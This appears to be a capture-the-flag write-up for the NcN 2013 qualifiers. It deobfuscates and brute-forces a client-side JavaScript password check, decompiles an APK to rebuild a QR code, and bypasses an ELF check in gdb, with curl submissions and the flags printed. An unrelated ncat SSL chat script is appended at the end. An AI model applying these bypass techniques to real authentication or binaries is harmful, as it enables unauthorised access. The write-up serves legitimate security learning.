var _0x52ae=["\x66\x20\x6F\x28\x38\x29\x7B\x63\x20\x69\x2C\x6A\x3D\x30\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x38\x2E\x6C\x3B\x69\x2B\x2B\x29\x7B\x6A\x2B\x3D\x28\x38\x5B\x69\x5D\x2E\x73\x28\x29\x2A\x28\x69\x2B\x31\x29\x29\x7D\x67\x20\x74\x2E\x75\x28\x6A\x29\x25\x76\x7D\x66\x20\x70\x28\x68\x29\x7B\x68\x3D\x68\x2E\x71\x28\x30\x29\x3B\x63\x20\x69\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x77\x3B\x2B\x2B\x69\x29\x7B\x63\x20\x35\x3D\x69\x2E\x78\x28\x79\x29\x3B\x6D\x28\x35\x2E\x6C\x3D\x3D\x31\x29\x35\x3D\x22\x30\x22\x2B\x35\x3B\x35\x3D\x22\x25\x22\x2B\x35\x3B\x35\x3D\x7A\x28\x35\x29\x3B\x6D\x28\x35\x3D\x3D\x68\x29\x41\x7D\x67\x20\x69\x7D\x66\x20\x6E\x28\x38\x29\x7B\x63\x20\x69\x2C\x61\x3D\x30\x2C\x62\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x38\x2E\x6C\x3B\x2B\x2B\x69\x29\x7B\x62\x3D\x70\x28\x38\x2E\x71\x28\x69\x29\x29\x3B\x61\x2B\x3D\x62\x2A\x28\x69\x2B\x31\x29\x7D\x67\x20\x61\x7D\x66\x20\x42\x28\x39\x29\x7B\x63\x20\x32\x3B\x32\x3D\x6E\x28\x39\x2E\x64\x2E\x65\x29\x3B\x32\x3D\x32\x2A\x28\x33\x2B\x31\x2B\x33\x2B\x33\x2B\x37\x29\x3B\x32\x3D\x32\x3E\x3E\x3E\x36\x3B\x32\x3D\x32\x2F\x34\x3B\x32\x3D\x32\x5E\x43\x3B\x6D\x28\x32\x21\x3D\x30\x29\x7B\x72\x28\x27\x44\x20\x64\x21\x27\x29\x7D\x45\x7B\x72\x28\x27\x46\x20\x64\x20\x3A\x29\x27\x29\x7D\x39\x2E\x47\x2E\x65\x3D\x6E\x28\x39\x2E\x64\x2E\x65\x29\x3B\x39\x2E\x48\x2E\x65\x3D\x22\x49\x22\x2B\x6F\x28\x39\x2E\x64\x2E\x65\x29\x3B\x67\x20\x4A\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x7C\x72\x65\x73\x7C\x7C\x7C\x68\x65\x78\x5F\x69\x7C\x7C\x7C\x73\x74\x72\x7C\x66\x6F\x72\x6D\x7C\x7C\x7C\x76\x61\x72\x7C\x70\x61\x73\x73\x77\x6F\x72\x64\x7C\x76\x61\x6C\x75\x65\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x72\x65\x74\x75\x72\x6E\x7C\x66\x6F\x6F\x7C\x7C\x68\x61\x73\x68\x7C\x66\x6F\x72\x7C\x6C\x65\x6E\x67\x74\x68\x7C\x69\x66\x7C\x6E\x75\x6D\x65\x72\x69\x63\x61\x6C\x5F\x76\x61\x6C\x75\x65\x7C\x73\x69\x6D\x70\x6C\x65\x48\x61\x73\x68\x7C\x61\x73\x63\x69\x69\x5F\x6F\x6E\x65\x7C\x63\x68\x61\x72\x41\x74\x7C\x61\x6C\x65\x72\x74\x7C\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74\x7C\x4D\x61\x74\x68\x7C\x61\x62\x73\x7C\x33\x31\x33\x33\x37\x7C\x32\x35\x36\x7C\x74\x6F\x53\x74\x72\x69\x6E\x67\x7C\x31\x36\x7C\x75\x6E\x65\x73\x63\x61\x70\x65\x7C\x62\x72\x65\x61\x6B\x7C\x65\x6E\x63\x72\x79\x70\x74\x7C\x34\x31\x35\x33\x7C\x49\x6E\x76\x61\x6C\x69\x64\x7C\x65\x6C\x73\x65\x7C\x43\x6F\x72\x72\x65\x63\x74\x7C\x6B\x65\x79\x7C\x76\x65\x72\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x7C\x79\x65\x73\x7C\x74\x72\x75\x65","","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x72\x65\x70\x6C\x61\x63\x65","\x5C\x77\x2B","\x5C\x62","\x67"];console.log(function (_0x7038x1,_0x7038x2,_0x7038x3,_0x7038x4,_0x7038x5,_0x7038x6){_0x7038x5=function (_0x7038x3){return (_0x7038x3<_0x7038x2?_0x52ae[4]:_0x7038x5(parseInt(_0x7038x3/_0x7038x2)))+((_0x7038x3=_0x7038x3%_0x7038x2)>35?String[_0x52ae[5]](_0x7038x3+29):_0x7038x3.toString(36));} ;if(!_0x52ae[4][_0x52ae[6]](/^/,String)){while(_0x7038x3--){_0x7038x6[_0x7038x5(_0x7038x3)]=_0x7038x4[_0x7038x3]||_0x7038x5(_0x7038x3);} ;_0x7038x4=[function (_0x7038x5){return _0x7038x6[_0x7038x5];} ];_0x7038x5=function (){return _0x52ae[7];} ;_0x7038x3=1;} ;while(_0x7038x3--){if(_0x7038x4[_0x7038x3]){_0x7038x1=_0x7038x1[_0x52ae[6]]( new RegExp(_0x52ae[8]+_0x7038x5(_0x7038x3)+_0x52ae[8],_0x52ae[9]),_0x7038x4[_0x7038x3]);} ;} ;return _0x7038x1;} (_0x52ae[0],46,46,_0x52ae[3][_0x52ae[2]](_0x52ae[1]),0,{}));
# node
> var _0x52ae=["\x66\x20\x6F\x28\x38\x29\x7B\x63\x20\x69\x2C\x6A\x3D\x30\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x38\x2E\x6C\x3B\x69\x2B\x2B\x29\x7B\x6A\x2B\x3D\x28\x38\x5B\x69\x5D\x2E\x73\x28\x29\x2A\x28\x69\x2B\x31\x29\x29\x7D\x67\x20\x74\x2E\x75\x28\x6A\x29\x25\x76\x7D\x66\x20\x70\x28\x68\x29\x7B\x68\x3D\x68\x2E\x71\x28\x30\x29\x3B\x63\x20\x69\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x77\x3B\x2B\x2B\x69\x29\x7B\x63\x20\x35\x3D\x69\x2E\x78\x28\x79\x29\x3B\x6D\x28\x35\x2E\x6C\x3D\x3D\x31\x29\x35\x3D\x22\x30\x22\x2B\x35\x3B\x35\x3D\x22\x25\x22\x2B\x35\x3B\x35\x3D\x7A\x28\x35\x29\x3B\x6D\x28\x35\x3D\x3D\x68\x29\x41\x7D\x67\x20\x69\x7D\x66\x20\x6E\x28\x38\x29\x7B\x63\x20\x69\x2C\x61\x3D\x30\x2C\x62\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x38\x2E\x6C\x3B\x2B\x2B\x69\x29\x7B\x62\x3D\x70\x28\x38\x2E\x71\x28\x69\x29\x29\x3B\x61\x2B\x3D\x62\x2A\x28\x69\x2B\x31\x29\x7D\x67\x20\x61\x7D\x66\x20\x42\x28\x39\x29\x7B\x63\x20\x32\x3B\x32\x3D\x6E\x28\x39\x2E\x64\x2E\x65\x29\x3B\x32\x3D\x32\x2A\x28\x33\x2B\x31\x2B\x33\x2B\x33\x2B\x37\x29\x3B\x32\x3D\x32\x3E\x3E\x3E\x36\x3B\x32\x3D\x32\x2F\x34\x3B\x32\x3D\x32\x5E\x43\x3B\x6D\x28\x32\x21\x3D\x30\x29\x7B\x72\x28\x27\x44\x20\x64\x21\x27\x29\x7D\x45\x7B\x72\x28\x27\x46\x20\x64\x20\x3A\x29\x27\x29\x7D\x39\x2E\x47\x2E\x65\x3D\x6E\x28\x39\x2E\x64\x2E\x65\x29\x3B\x39\x2E\x48\x2E\x65\x3D\x22\x49\x22\x2B\x6F\x28\x39\x2E\x64\x2E\x65\x29\x3B\x67\x20\x4A\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x7C\x72\x65\x73\x7C\x7C\x7C\x68\x65\x78\x5F\x69\x7C\x7C\x7C\x73\x74\x72\x7C\x66\x6F\x72\x6D\x7C\x7C\x7C\x76\x61\x72\x7C\x70\x61\x73\x73\x77\x6F\x72\x64\x7C\x76\x61\x6C\x75\x65\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x72\x65\x74\x75\x72\x6E\x7C\x66\x6F\x6F\x7C\x7C\x68\x61\x73\x68\x7C\x66\x6F\x72\x7C\x6C\x65\x6E\x67\x74\x68\x7C\x69\x66\x7C\x6E\x75\x6D\x65\x72\x69\x63\x61\x6C\x5F\x76\x61\x6C\x75\x65\x7C\x73\x69\x6D\x70\x6C\x65\x48\x61\x73\x68\x7C\x61\x73\x63\x69\x69\x5F\x6F\x6E\x65\x7C\x63\x68\x61\x72\x41\x74\x7C\x61\x6C\x65\x72\x74\x7C\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74\x7C\x4D\x61\x74\x68\x7C\x61\x62\x73\x7C\x33\x31\x33\x33\x37\x7C\x32\x35\x36\x7C\x74\x6F\x53\x74\x72\x69\x6E\x67\x7C\x31\x36\x7C\x75\x6E\x65\x73\x63\x61\x70\x65\x7C\x62\x72\x65\x61\x6B\x7C\x65\x6E\x63\x72\x79\x70\x74\x7C\x34\x31\x35\x33\x7C\x49\x6E\x76\x61\x6C\x69\x64\x7C\x65\x6C\x73\x65\x7C\x43\x6F\x72\x72\x65\x63\x74\x7C\x6B\x65\x79\x7C\x76\x65\x72\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x7C\x79\x65\x73\x7C\x74\x72\x75\x65","","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x72\x65\x70\x6C\x61\x63\x65","\x5C\x77\x2B","\x5C\x62","\x67"];console.log(function (_0x7038x1,_0x7038x2,_0x7038x3,_0x7038x4,_0x7038x5,_0x7038x6){_0x7038x5=function (_0x7038x3){return (_0x7038x3<_0x7038x2?_0x52ae[4]:_0x7038x5(parseInt(_0x7038x3/_0x7038x2)))+((_0x7038x3=_0x7038x3%_0x7038x2)>35?String[_0x52ae[5]](_0x7038x3+29):_0x7038x3.toString(36));} ;if(!_0x52ae[4][_0x52ae[6]](/^/,String)){while(_0x7038x3--){_0x7038x6[_0x7038x5(_0x7038x3)]=_0x7038x4[_0x7038x3]||_0x7038x5(_0x7038x3);} ;_0x7038x4=[function (_0x7038x5){return _0x7038x6[_0x7038x5];} ];_0x7038x5=function (){return _0x52ae[7];} ;_0x7038x3=1;} ;while(_0x7038x3--){if(_0x7038x4[_0x7038x3]){_0x7038x1=_0x7038x1[_0x52ae[6]]( new RegExp(_0x52ae[8]+_0x7038x5(_0x7038x3)+_0x52ae[8],_0x52ae[9]),_0x7038x4[_0x7038x3]);} ;} ;return _0x7038x1;} (_0x52ae[0],46,46,_0x52ae[3][_0x52ae[2]](_0x52ae[1]),0,{}));
function simpleHash(str){var i,hash=0;for(i=0;i<str.length;i++){hash+=(str[i].charCodeAt()*(i+1))}return Math.abs(hash)%31337}function ascii_one(foo){foo=foo.charAt(0);var i;for(i=0;i<256;++i){var hex_i=i.toString(16);if(hex_i.length==1)hex_i="0"+hex_i;hex_i="%"+hex_i;hex_i=unescape(hex_i);if(hex_i==foo)break}return i}function numerical_value(str){var i,a=0,b;for(i=0;i<str.length;++i){b=ascii_one(str.charAt(i));a+=b*(i+1)}return a}function encrypt(form){var res;res=numerical_value(form.password.value);res=res*(3+1+3+3+7);res=res>>>6;res=res/4;res=res^4153;if(res!=0){alert('Invalid password!')}else{alert('Correct password :)')}form.key.value=numerical_value(form.password.value);form.verification.value="yes"+simpleHash(form.password.value);return true}
> function simpleHash(str){
...      var i,hash=0;
...      for(i=0;i<str.length;i++){
.....           hash+=(str[i].charCodeAt()*(i+1))
.....      }
...      return Math.abs(hash)%31337
... }
> function ascii_one(foo) {
...     foo = foo.charAt(0);
...     var i;
...     for (i = 0; i < 256; ++i) {
.....         var hex_i = i.toString(16);
.....         if (hex_i.length == 1) hex_i = "0" + hex_i;
.....         hex_i = "%" + hex_i;
.....         hex_i = unescape(hex_i);
.....         if (hex_i == foo) break
.....     }
...     return i
... }
> function numerical_value(str) {
...     var i, a = 0, b;
...     for (i = 0; i < str.length; ++i) {
.....         b = ascii_one(str.charAt(i));
.....         a += b * (i + 1)
.....     }
...     return a
... }
> function encrypt(form) {
...     var res;
...     res = numerical_value(form.password.value);
...     res = res * (3 + 1 + 3 + 3 + 7);
...     res = res >>> 6;
...     res = res / 4;
...     res = res ^ 4153;
...     if (res != 0) {
.....         alert('Invalid password!')
.....     } else {
.....         alert('Correct password :)')
...     }
...     form.key.value = numerical_value(form.password.value);
...     form.verification.value = "yes" + simpleHash(form.password.value);
...     return true
... }
> var max=700000; var total=0; for (var i = 0; i < max; ++i) { total=(((i*17)>>>6)/4)^4153; if(total==0){console.log(i);}; };
62540
62541
62542
62543
62544
62545
62546
62547
62548
62549
62550
62551
62552
62553
62554
> function init(dec,len){
...  var deckey=new Array();
...  for(var i=1; i<=len; i++){ deckey[i]=dec; }
...  return deckey;
... }
> function add(deckey,len){
...  var counter=0;
...  for(var i=1; i<=len; i++){ counter+=deckey[i]*i; }
...  return counter;
... }
> var len, dist, deckey, count, key;
> len=100;
> for(var dec=32; dec<=126; dec++){
...  dist=126-dec;
...  for(var i=1; i<=len; i++){
.....   deckey=init(dec,i);
.....   count=add(deckey,i);
.....   diff=62540-count;
.....   if((0<=diff)&&(diff<=dist)){
.......    key=String.fromCharCode(dec+diff);
.......    char=String.fromCharCode(dec);
.......    for(var j=1; j<=i-1; j++){
.........     key+=char;
.........    }
.......    console.log("key = '"+key+"'");
.......   }
.....  }
... }
key = 'L                                                             '
key = 'r1111111111111111111111111111111111111111111111111'
key = 't333333333333333333333333333333333333333333333333'
> simpleHash('r1111111111111111111111111111111111111111111111111');
31203
# curl --silent --request POST --data 'password=r1111111111111111111111111111111111111111111111111&key=62540&verification=yes31203' http://ctf.noconname.org/4cbe48a830c4cd2d4ac9e6e9373e3055/login.php
<!DOCTYPE html>
<html>
  <head>
    <title>NcN 2013 Registration Quals</title>
 </head>
<body>
<b>Congrats! you passed the level! Here is the key: 23f8d1cea8d60c5816700892284809a94bd00fe7347645b96a99559749c7b7b8</b></body>
</html>

# cat level_1.c
#include <stdio.h>
#include <stdlib.h>

int level1(int *key,int partial,int pos,int max,int len){
        int i,j,total;
        if(pos==1){
                for(i=126;i>=32;i--){
                        total=partial+i;
                        if((max<=total)&&(total<=max+14)){
                                key[pos-1]=i;
                                printf("key '\t");
                                for(j=0;j<len;j++){ printf("%c",key[j]); }
                                printf("'\t%d <= (%d) <= %d\n",max,total,max+14);

                        }
                }
        }else{
                for(i=126;i>=32;i--){
                        total=partial+pos*i;
                        if(total<=max){
                                key[pos-1]=i;
                                level1(key,total,pos-1,max,len);
                        }
                }
        }
}
int main(int argc, char *argv[]){
        int *key,len,i,j,total,max;
        max=atoi(argv[1]);
        len=atoi(argv[2]);
        for(i=0;i<len;i++){
                total=0;
                for(j=0;j<=i;j++){ total+=126*(j+1); }
                if(max<=total){
                        key=malloc(sizeof(int)*i+1);
                        printf("Trying key length = %d, total = %d and >= %d\n",i+1,total,max);
                        level1(key,0,i+1,max,i+1);
                        free(key);
                }
        }
}
# gcc -o level_1 level_1.c
# ./level_1 62540 50
Trying key length = 32, total = 66528 and >= 62540
key     '   !    <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62554) <= 62554
key     '! !     <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62554) <= 62554
key     '  !     <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62553) <= 62554
key     ' "      <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62554) <= 62554
key     '"!      <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62554) <= 62554
key     '!!      <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62553) <= 62554
key     ' !      <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62552) <= 62554
key     '$       <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62554) <= 62554
key     '#       <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62553) <= 62554
key     '"       <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62552) <= 62554
key     '!       <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62551) <= 62554
key     '        <~~~~~~~~~~~~~~~~~~~~~~~'      62540 <= (62550) <= 62554
...
> simpleHash('   !    <~~~~~~~~~~~~~~~~~~~~~~~');
31217
# curl --silent --request POST --data 'password=   !    <~~~~~~~~~~~~~~~~~~~~~~~&key=62554&verification=yes31217' http://ctf.noconname.org/4cbe48a830c4cd2d4ac9e6e9373e3055/login.php
<!DOCTYPE html>
<html>
  <head>
    <title>NcN 2013 Registration Quals</title>
 </head>
<body>
<b>Congrats! you passed the level! Here is the key: 23f8d1cea8d60c5816700892284809a94bd00fe7347645b96a99559749c7b7b8</b></body>
</html>

Access Level 2

# curl --silent --output level.apk http://ctf.noconname.org/ad4d4084729af5c8faef2df8636c450e/level.apk
# unzip level.apk
# dex2jar classes.dex
# jd-gui classes_dex2jar.jar # and code review
# cd res/raw
# mv i.png qr-f.png
# mv j.png qr-e.png
# mv d.png qr-d.png
# mv h.png qr-c.png
# mv e.png qr-3.png
# mv l.png qr-2.png
# mv o.png qr-7.png
# mv n.png qr-b.png
# mv p.png qr-8.png
# mv m.png qr-1.png
# mv f.png qr-0.png
# mv c.png qr-4.png
# mv k.png qr-5.png
# mv g.png qr-6.png
# mv a.png qr-9.png
# mv b.png qr-a.png
# montage *.png -tile 4x4 -geometry +0+0 qr.png
# zbarimg --raw --quiet qr.png
788f5ff85d370646d4caa9af0a103b338dbe4c4bb9ccbd816b585c69de96d9da

Access Level 3

# curl --silent --output level.elf http://ctf.noconname.org/94999ecd63b3764ac334bcab4c4960d5/level.elf
# file level.elf
level.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xb589d432799bf15343387fea63d4bdc00faa177c, not stripped
# chmod +x level.elf
# gdb -q level.elf
(gdb) set disassembly-flavor intel
(gdb) x/s 0x4024a8
0x4024a8:        "Type to win, only what I want to read... "
(gdb) x/25i 0x00000000004010f3
   0x4010f3 <main+212>: call   0x400fef <getch>
   0x4010f8 <main+217>: movsx  eax,al
   0x4010fb <main+220>: mov    DWORD PTR [rbp-0x4],eax
   0x4010fe <main+223>: mov    eax,DWORD PTR [rbp-0x8]
   0x401101 <main+226>: cdqe
   0x401103 <main+228>: mov    eax,DWORD PTR [rax*4+0x6033a0]
   0x40110a <main+235>: cmp    eax,DWORD PTR [rbp-0x4]
   0x40110d <main+238>: jne    0x40111e <main+255>
   0x40110f <main+240>: mov    DWORD PTR [rbp-0xc],0x1
   0x401116 <main+247>: cmp    DWORD PTR [rbp-0x4],0x51
   0x40111a <main+251>: je     0x40112d <main+270>
   0x40111c <main+253>: jmp    0x401127 <main+264>
   0x40111e <main+255>: mov    DWORD PTR [rbp-0xc],0x0
   0x401125 <main+262>: jmp    0x401154 <main+309>
   0x401127 <main+264>: cmp    DWORD PTR [rbp-0x4],0x71
   0x40112b <main+268>: jne    0x401136 <main+279>
   0x40112d <main+270>: mov    DWORD PTR [rbp-0x10],0x1
   0x401134 <main+277>: jmp    0x401154 <main+309>
   0x401136 <main+279>: mov    rax,QWORD PTR [rip+0x2022a3]        # 0x6033e0 <stdout@@GLIBC_2.2.5>
   0x40113d <main+286>: mov    rsi,rax
   0x401140 <main+289>: mov    edi,0x2a
   0x401145 <main+294>: call   0x400610 <fputc@plt>
   0x40114a <main+299>: add    DWORD PTR [rbp-0x8],0x1
   0x40114e <main+303>: cmp    DWORD PTR [rbp-0x8],0x9
   0x401152 <main+307>: jle    0x4010f3 <main+212>
(gdb) x/30s 0x6033a0
0x6033a0 <facebookctf_rocks>:    " "
0x6033a2 <facebookctf_rocks+2>:  ""
0x6033a3 <facebookctf_rocks+3>:  ""
0x6033a4 <facebookctf_rocks+4>:  "S"
0x6033a6 <facebookctf_rocks+6>:  ""
0x6033a7 <facebookctf_rocks+7>:  ""
0x6033a8 <facebookctf_rocks+8>:  "U"
0x6033aa <facebookctf_rocks+10>:         ""
0x6033ab <facebookctf_rocks+11>:         ""
0x6033ac <facebookctf_rocks+12>:         "R"
0x6033ae <facebookctf_rocks+14>:         ""
0x6033af <facebookctf_rocks+15>:         ""
0x6033b0 <facebookctf_rocks+16>:         "P"
0x6033b2 <facebookctf_rocks+18>:         ""
0x6033b3 <facebookctf_rocks+19>:         ""
0x6033b4 <facebookctf_rocks+20>:         "R"
0x6033b6 <facebookctf_rocks+22>:         ""
0x6033b7 <facebookctf_rocks+23>:         ""
0x6033b8 <facebookctf_rocks+24>:         "I"
0x6033ba <facebookctf_rocks+26>:         ""
0x6033bb <facebookctf_rocks+27>:         ""
0x6033bc <facebookctf_rocks+28>:         "S"
0x6033be <facebookctf_rocks+30>:         ""
0x6033bf <facebookctf_rocks+31>:         ""
0x6033c0 <facebookctf_rocks+32>:         "E"
0x6033c2 <facebookctf_rocks+34>:         ""
0x6033c3 <facebookctf_rocks+35>:         ""
0x6033c4 <facebookctf_rocks+36>:         "!"
0x6033c6 <facebookctf_rocks+38>:         ""
0x6033c7 <facebookctf_rocks+39>:         ""
# echo ' SURPRISE!' | ./level.elf
|  >  Type to win, only what I want to read...
|  >  **********
|
|  -> Congratulations! The key is:
|  9e0d399e83e7c50c615361506a294eca22dc49bfddd90eb7a831e90e9e1bf2fb
# gdb -q level.elf
(gdb) set disassembly-flavor intel
(gdb) break main
(gdb) run
(gdb) x/2i 0x40117b
   0x40117b <main+348>: call   0x400b38 <success>
   0x401180 <main+353>: call   0x40077c <no_me_jodas_manolo>
(gdb) set $rip = 0x40117b
(gdb) continue 
Continuing.
|
|  -> Congratulations! The key is:
|  9e0d399e83e7c50c615361506a294eca22dc49bfddd90eb7a831e90e9e1bf2fb

# chatroom: Encrypted conversations using ncat

# cat chatroom
#!/bin/bash

basename=`which basename`
cat=`which cat`
nc=`which ncat`
tput=`which tput`

function client {
        $nc --ssl $ip $port > >(while read line; do
                prompt=`echo $line | awk '{print $1}'`
                message=`echo $line | sed "s/$prompt//"`
                if [ "$prompt" == "<user0>" ] || [ "$prompt" == "<announce>" ]; then
                        echo -e "\e[35m<announce>\e[0m\e[90m$message\e[0m"
                else
                        echo -e "\e[32m$prompt\e[0m\e[36m$message\e[0m"
                fi
                $tput setaf 3
        done)
        echo -e "\e[35m<announce>\e[0m \e[90moperator closes the chatroom.\e[0m"
        reset
}

function reset { $tput sgr0; }

function server {
        $nc --listen --chat --ssl $ip $port
}

function usage {
$cat << eof
Usage:
        `$basename $0` [-h] {-m c|s} {-i ip} {-p port}
Options:
        -m: Mode
                c: Client
                s: Server
        -i: IP
        -p: Port
eof
}

conns=''
ip=''
port=''

while getopts "hm:i:p:" option; do
        case $option in
                h)      usage && exit   ;;
                m)      mode=$OPTARG    ;;
                i)      ip=$OPTARG      ;;
                p)      port=$OPTARG    ;;
        esac
done

if [ -z $ip ] || [ -z $port ] ; then
        usage && exit
fi

trap reset SIGINT

case $mode in
        c)      client                  ;;
        s)      server                  ;;
        *)      usage && exit
esac

Server mode

remote# chatroom -m s -i 192.168.1.10 -p 1234

Client mode

local# chatroom -m c -i 192.168.1.10 -p 1234